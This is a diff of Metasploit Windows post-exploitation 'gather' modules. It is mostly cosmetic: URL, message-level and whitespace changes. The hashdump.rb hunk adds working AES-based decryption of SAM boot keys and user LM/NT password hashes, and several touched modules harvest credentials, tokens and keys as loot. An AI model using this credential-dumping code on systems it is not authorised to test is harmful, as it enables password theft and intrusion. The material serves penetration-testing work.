diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb
index 645dc9f19d..7272927380 100644
--- a/modules/post/windows/gather/enum_domain.rb
+++ b/modules/post/windows/gather/enum_domain.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb
index 6accaa874f..2fce9e0683 100644
--- a/modules/post/windows/gather/enum_domain_group_users.rb
+++ b/modules/post/windows/gather/enum_domain_group_users.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Post
 
       # Store the captured data in the loot.
       loot_file = store_loot(ltype, ctype, session, loot.join("\n"), nil, datastore['GROUP'])
-      print_status("User list stored in #{loot_file}")
+      print_good("User list stored in #{loot_file}")
     else
       print_error("No members found for #{datastore['GROUP']}")
     end
diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb
index 143264dc43..c1f8772d65 100644
--- a/modules/post/windows/gather/enum_domain_tokens.rb
+++ b/modules/post/windows/gather/enum_domain_tokens.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
 
diff --git a/modules/post/windows/gather/enum_domain_users.rb b/modules/post/windows/gather/enum_domain_users.rb
index c277464d59..4b3c8646eb 100644
--- a/modules/post/windows/gather/enum_domain_users.rb
+++ b/modules/post/windows/gather/enum_domain_users.rb
@@ -1,9 +1,13 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/post/common'
 require 'msf/core/post/windows/registry'
 require 'msf/core/post/windows/netapi'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Common
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::NetAPI
@@ -14,7 +18,7 @@ class MetasploitModule < Msf::Post
       'Name'	       => 'Windows Gather Enumerate Active Domain Users',
       'Description'  => %q{
           This module will enumerate computers included in the primary Domain and attempt
-          to list all locations the targeted user has sessions on. If a the HOST option is specified
+          to list all locations the targeted user has sessions on. If the HOST option is specified
           the module will target only that host. If the HOST is specified and USER is set to nil, all users
           logged into that host will be returned.'
         },
@@ -85,6 +89,5 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
 
diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb
index e0e607b132..cdd3a0080b 100644
--- a/modules/post/windows/gather/enum_domains.rb
+++ b/modules/post/windows/gather/enum_domains.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/windows/netapi'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::NetAPI
 
   def initialize(info={})
diff --git a/modules/post/windows/gather/enum_emet.rb b/modules/post/windows/gather/enum_emet.rb
index 008ee705ec..d6b980b4ef 100644
--- a/modules/post/windows/gather/enum_emet.rb
+++ b/modules/post/windows/gather/enum_emet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Post
     reg_view = sysinfo['Architecture'] =~ /x64/ ? REGISTRY_VIEW_64_BIT : REGISTRY_VIEW_32_BIT
     reg_vals = registry_enumvals('HKLM\\SOFTWARE\\Microsoft\\EMET\\AppSettings', reg_view)
     if reg_vals.nil?
-      print_status('Failed to enumerate EMET Protected.')
+      print_error('Failed to enumerate EMET Protected.')
     else
       print_status('Found protected processes:')
       reg_vals.each do |path|
diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb
index b271657030..4d05a14db0 100644
--- a/modules/post/windows/gather/enum_files.rb
+++ b/modules/post/windows/gather/enum_files.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb
index f65de9d141..997248ff18 100644
--- a/modules/post/windows/gather/enum_hostfile.rb
+++ b/modules/post/windows/gather/enum_hostfile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb
index 8263f04348..8e40f86289 100644
--- a/modules/post/windows/gather/enum_ie.rb
+++ b/modules/post/windows/gather/enum_ie.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
 
@@ -383,7 +382,7 @@ class MetasploitModule < Msf::Post
         @hist_table,
         'ie_history.txt',
         'Internet Explorer Browsing History')
-      print_status("Data saved in: #{path}")
+      print_good("Data saved in: #{path}")
     end
 
     if not @cook_table.rows.empty?
@@ -395,7 +394,7 @@ class MetasploitModule < Msf::Post
         @cook_table,
         'ie_cookies.txt',
         'Internet Explorer Cookies')
-      print_status("Data saved in: #{path}")
+      print_good("Data saved in: #{path}")
     end
 
     if not cred_table.rows.empty?
@@ -408,7 +407,7 @@ class MetasploitModule < Msf::Post
         'ie_creds.txt',
         'Internet Explorer User Credentials')
 
-      print_status("Data saved in: #{path}")
+      print_good("Data saved in: #{path}")
       #print creds
       print_line("")
       print_line(cred_table.to_s)
diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb
index 850dff32e6..4dd7c2a3d0 100644
--- a/modules/post/windows/gather/enum_logged_on_users.rb
+++ b/modules/post/windows/gather/enum_logged_on_users.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Accounts
 
@@ -71,7 +70,7 @@ class MetasploitModule < Msf::Post
 
     print_line("\n" + tbl.to_s + "\n")
     p = store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users")
-    print_status("Results saved in: #{p}")
+    print_good("Results saved in: #{p}")
   end
 
   def run
diff --git a/modules/post/windows/gather/enum_ms_product_keys.rb b/modules/post/windows/gather/enum_ms_product_keys.rb
index c7b845000d..e552c29efc 100644
--- a/modules/post/windows/gather/enum_ms_product_keys.rb
+++ b/modules/post/windows/gather/enum_ms_product_keys.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
 
   def initialize(info={})
@@ -76,7 +75,7 @@ class MetasploitModule < Msf::Post
       results = tbl.to_csv
       print_line("\n" + tbl.to_s + "\n")
       path = store_loot("host.ms_keys", "text/plain", session, results, "ms_keys.txt", "Microsoft Product Key and Info")
-      print_status("Keys stored in: #{path.to_s}")
+      print_good("Keys stored in: #{path.to_s}")
     end
   end
 
@@ -127,5 +126,4 @@ class MetasploitModule < Msf::Post
     print_status("Finding Microsoft key on #{sysinfo['Computer']}")
     app_list
   end
-
 end
diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb
index 151d19bc67..a36d9a5f3f 100644
--- a/modules/post/windows/gather/enum_muicache.rb
+++ b/modules/post/windows/gather/enum_muicache.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -253,8 +253,7 @@ class MetasploitModule < Msf::Post
     print_status("Phase 3: Processing results...")
     loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information")
     print_line("\n" + table.to_s + "\n")
-    print_status("Results stored as: #{loot}")
+    print_good("Results stored as: #{loot}")
     print_status("Execution finished.")
   end
-
 end
diff --git a/modules/post/windows/gather/enum_patches.rb b/modules/post/windows/gather/enum_patches.rb
index 4dfe23bd82..84d400b2cc 100644
--- a/modules/post/windows/gather/enum_patches.rb
+++ b/modules/post/windows/gather/enum_patches.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/post/common'
 require 'msf/core/post/windows/extapi'
 
diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb
index 15e2d81df9..d3762c67c0 100644
--- a/modules/post/windows/gather/enum_powershell_env.rb
+++ b/modules/post/windows/gather/enum_powershell_env.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
 
diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb
index e2839d99dd..422aebb6fd 100644
--- a/modules/post/windows/gather/enum_prefetch.rb
+++ b/modules/post/windows/gather/enum_prefetch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb
index f103d44858..faccaee2ca 100644
--- a/modules/post/windows/gather/enum_proxy.rb
+++ b/modules/post/windows/gather/enum_proxy.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Post::Windows::Services
 
   def initialize
@@ -98,5 +97,4 @@ class MetasploitModule < Msf::Post
     print_status "AutoConfigURL: #{autoconfigurl}" if autoconfigurl != ""
 
   end
-
 end
diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb
index d08996a393..d0af48b9be 100644
--- a/modules/post/windows/gather/enum_putty_saved_sessions.rb
+++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,7 +71,7 @@ class MetasploitModule < Msf::Post
     print_line
     print_line results_table.to_s
     stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
-    print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
+    print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
   end
 
   def display_private_key_analysis(info)
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Post
     print_line
     print_line results_table.to_s
     # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
-    # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
+    # print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
   end
 
   def get_stored_host_key_details(allkeys)
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Post
     print_line
     print_line results_table.to_s
     stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List")
-    print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
+    print_good("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
   end
 
   def grab_private_keys(sessions)
diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb
index 71a0d04525..7646b11c3d 100644
--- a/modules/post/windows/gather/enum_services.rb
+++ b/modules/post/windows/gather/enum_services.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Services
 
   def initialize(info={})
@@ -125,5 +123,4 @@ class MetasploitModule < Msf::Post
     p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services")
     print_good("Loot file stored in: #{p.to_s}")
   end
-
 end
diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb
index 78808cf7cb..fa491bb18c 100644
--- a/modules/post/windows/gather/enum_shares.rb
+++ b/modules/post/windows/gather/enum_shares.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Post::Windows::Priv
 
@@ -173,5 +172,4 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb
index cca354aa7f..81dd02aee9 100644
--- a/modules/post/windows/gather/enum_snmp.rb
+++ b/modules/post/windows/gather/enum_snmp.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb
index cd02134e9e..6c7bac2895 100644
--- a/modules/post/windows/gather/enum_termserv.rb
+++ b/modules/post/windows/gather/enum_termserv.rb
@@ -1,15 +1,11 @@
-# post/windows/gather/enum_termserv.rb
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb
index 4b26be9f2f..23794d53c8 100644
--- a/modules/post/windows/gather/enum_tokens.rb
+++ b/modules/post/windows/gather/enum_tokens.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,5 +189,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb
index 43837d2986..7d813cac49 100644
--- a/modules/post/windows/gather/enum_tomcat.rb
+++ b/modules/post/windows/gather/enum_tomcat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rexml/document'
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
@@ -89,7 +88,7 @@ class MetasploitModule < Msf::Post
     print_line(tbl_services.to_s)
     print_line(tbl_users.to_s)
     p = store_loot("host.webservers.tomcat", "text/plain", session, tbl_services.to_s + "\n" + tbl_users.to_s, "tomcat.txt", "Tomcat Server Enum")
-    print_status("Results stored in: #{p}")
+    print_good("Results stored in: #{p}")
   end
 
   ### initial identification methods ###
diff --git a/modules/post/windows/gather/enum_trusted_locations.rb b/modules/post/windows/gather/enum_trusted_locations.rb
index 413b1f44a2..d4fef922e1 100644
--- a/modules/post/windows/gather/enum_trusted_locations.rb
+++ b/modules/post/windows/gather/enum_trusted_locations.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,7 +37,7 @@ class MetasploitModule < Msf::Post
       arch = registry_arch == REGISTRY_VIEW_64_BIT ? ARCH_X64 : ARCH_X86
       reg_keys = registry_enumkeys(OFFICE_REGISTRY_PATH, registry_arch)
       if reg_keys.nil?
-        print_status("Failed to enumerate Office in #{arch} registry hive.")
+        print_error("Failed to enumerate Office in #{arch} registry hive.")
         return
       end
 
diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb
index eaa16f4518..7280a205c4 100644
--- a/modules/post/windows/gather/enum_unattend.rb
+++ b/modules/post/windows/gather/enum_unattend.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/parser/unattend'
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -80,7 +79,7 @@ class MetasploitModule < Msf::Post
     t = cred_table
     vprint_line("\n#{t.to_s}\n")
     p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
-    print_status("#{t.header} saved as: #{p}")
+    print_good("#{t.header} saved as: #{p}")
   end
 
 
@@ -91,7 +90,7 @@ class MetasploitModule < Msf::Post
     return if data.empty?
     fname = ::File.basename(xmlpath)
     p = store_loot('windows.unattended.raw', 'text/plain', session, data)
-    print_status("Raw version of #{fname} saved as: #{p}")
+    print_good("Raw version of #{fname} saved as: #{p}")
   end
 
 
@@ -171,5 +170,4 @@ class MetasploitModule < Msf::Post
       return unless datastore['GETALL']
     end
   end
-
 end
diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb
index 8f978d528b..56e613dabf 100644
--- a/modules/post/windows/gather/file_from_raw_ntfs.rb
+++ b/modules/post/windows/gather/file_from_raw_ntfs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,7 +69,7 @@ class MetasploitModule < Msf::Post
     end
 
     @handle = r['return']
-    vprint_status("Successfuly opened #{drive}")
+    vprint_good("Successfuly opened #{drive}")
     begin
       @bytes_read = 0
       fs = Rex::Parser::NTFS.new(self)
diff --git a/modules/post/windows/gather/forensics/browser_history.rb b/modules/post/windows/gather/forensics/browser_history.rb
index a167a56e0f..8da00bc277 100644
--- a/modules/post/windows/gather/forensics/browser_history.rb
+++ b/modules/post/windows/gather/forensics/browser_history.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,9 +7,7 @@ require 'csv'
 require 'msf/core/post/windows/user_profiles'
 require 'msf/core/post/windows/registry'
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Windows::UserProfiles
   include Msf::Post::Windows::Registry
diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb
index 40d0cfdae1..f0c0c4cfc5 100644
--- a/modules/post/windows/gather/forensics/duqu_check.rb
+++ b/modules/post/windows/gather/forensics/duqu_check.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb
index 7519c3bc0f..f340827af8 100644
--- a/modules/post/windows/gather/forensics/enum_drives.rb
+++ b/modules/post/windows/gather/forensics/enum_drives.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Post
       print_device(devname)
     end
   end
-
 end
diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb
index 6b7875bcbc..7893114724 100644
--- a/modules/post/windows/gather/forensics/imager.rb
+++ b/modules/post/windows/gather/forensics/imager.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb
index 36ff2269cc..89f33b5e09 100644
--- a/modules/post/windows/gather/forensics/nbd_server.rb
+++ b/modules/post/windows/gather/forensics/nbd_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb
index eaacd31648..a28a4b73b2 100644
--- a/modules/post/windows/gather/forensics/recovery_files.rb
+++ b/modules/post/windows/gather/forensics/recovery_files.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   def initialize(info={})
@@ -113,7 +112,7 @@ class MetasploitModule < Msf::Post
 
       # If file is resident
       if data[0] == 0
-        print_status ("The file is resident. Saving #{name} ... ")
+        print_status("The file is resident. Saving #{name} ... ")
         path = store_loot("resident.file", "application/octet-stream", session, data[1], name.downcase, nil)
         print_good("File saved on #{path}")
 
@@ -122,7 +121,7 @@ class MetasploitModule < Msf::Post
         # Due to the size of the non-resident files we have to store small chunks of data as we go through each of the data runs
         # that make up the file (save_file function).
         size = get_size(rf['lpBuffer'][56..-1])
-        print_status ("The file is not resident. Saving #{name} ... (#{size} bytes)")
+        print_status("The file is not resident. Saving #{name} ... (#{size} bytes)")
         base = 0
         # Go through each of the data runs to save the file
         file_data = ""
diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb
index 35544d27f3..43fb06d7e8 100644
--- a/modules/post/windows/gather/hashdump.rb
+++ b/modules/post/windows/gather/hashdump.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
@@ -139,14 +138,28 @@ class MetasploitModule < Msf::Post
     vf = vf.data
     ok.close
 
-    hash = Digest::MD5.new
-    hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
+    revision = vf[0x68, 4].unpack('V')[0]
 
-    rc4 = OpenSSL::Cipher.new("rc4")
-    rc4.key = hash.digest
-    hbootkey  = rc4.update(vf[0x80, 32])
-    hbootkey << rc4.final
-    return hbootkey
+    case revision
+      when 1
+        hash = Digest::MD5.new
+        hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
+
+        rc4 = OpenSSL::Cipher.new("rc4")
+        rc4.key = hash.digest
+        hbootkey  = rc4.update(vf[0x80, 32])
+        hbootkey << rc4.final
+        hbootkey
+      when 2
+        aes = OpenSSL::Cipher.new('aes-128-cbc')
+        aes.key = bootkey
+        aes.padding = 0
+        aes.decrypt
+        aes.iv = vf[0x78, 16]
+        aes.update(vf[0x88, 16]) # we need only 16 bytes
+      else
+        raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
+    end
   end
 
   def capture_user_keys
@@ -200,21 +213,16 @@ class MetasploitModule < Msf::Post
     users.each_key do |rid|
       user = users[rid]
 
-      hashlm_enc = ""
-      hashnt_enc = ""
+      hashlm_off = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
+      hashlm_len = user[:V][0xa0, 4].unpack("V")[0]
+      hashlm_enc = user[:V][hashlm_off, hashlm_len]
 
-      hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
+      hashnt_off = user[:V][0xa8, 4].unpack("V")[0] + 0xcc
+      hashnt_len = user[:V][0xac, 4].unpack("V")[0]
+      hashnt_enc = user[:V][hashnt_off, hashnt_len]
 
-      #Check if hashes exist (if 20, then we've got a hash)
-      lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
-      nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
-
-      #If we have a hashes, then parse them (Note: NT is dependant on LM)
-      hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
-      hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
-
-      user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
-      user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
+      user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
+      user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
     end
 
     users
@@ -241,16 +249,35 @@ class MetasploitModule < Msf::Post
     [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
   end
 
-  def decrypt_user_hash(rid, hbootkey, enchash, pass)
+  def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
+    revision = enchash[2, 2].unpack('v')[0]
 
-    if(enchash.empty?)
-      case pass
-      when @sam_lmpass
-        return @sam_empty_lm
-      when @sam_ntpass
-        return @sam_empty_nt
-      end
-      return ""
+    case revision
+      when 1
+        if enchash.length < 20
+          return default
+        end
+
+        md5 = Digest::MD5.new
+        md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
+
+        rc4 = OpenSSL::Cipher.new('rc4')
+        rc4.key = md5.digest
+        okey = rc4.update(enchash[4, 16])
+      when 2
+        if enchash.length < 40
+          return default
+        end
+
+        aes = OpenSSL::Cipher.new('aes-128-cbc')
+        aes.key = hbootkey[0, 16]
+        aes.padding = 0
+        aes.decrypt
+        aes.iv = enchash[8, 16]
+        okey = aes.update(enchash[24, 16]) # we need only 16 bytes
+      else
+        print_error("Unknown user hash revision: #{revision}")
+        return default
     end
 
     des_k1, des_k2 = rid_to_key(rid)
@@ -263,13 +290,6 @@ class MetasploitModule < Msf::Post
     d2.padding = 0
     d2.key = des_k2
 
-    md5 = Digest::MD5.new
-    md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
-
-    rc4 = OpenSSL::Cipher.new('rc4')
-    rc4.key = md5.digest
-    okey = rc4.update(enchash)
-
     d1o  = d1.decrypt.update(okey[0,8])
     d1o << d1.final
 
diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb
index d3fa98d7ee..fb250fc7bc 100644
--- a/modules/post/windows/gather/local_admin_search_enum.rb
+++ b/modules/post/windows/gather/local_admin_search_enum.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
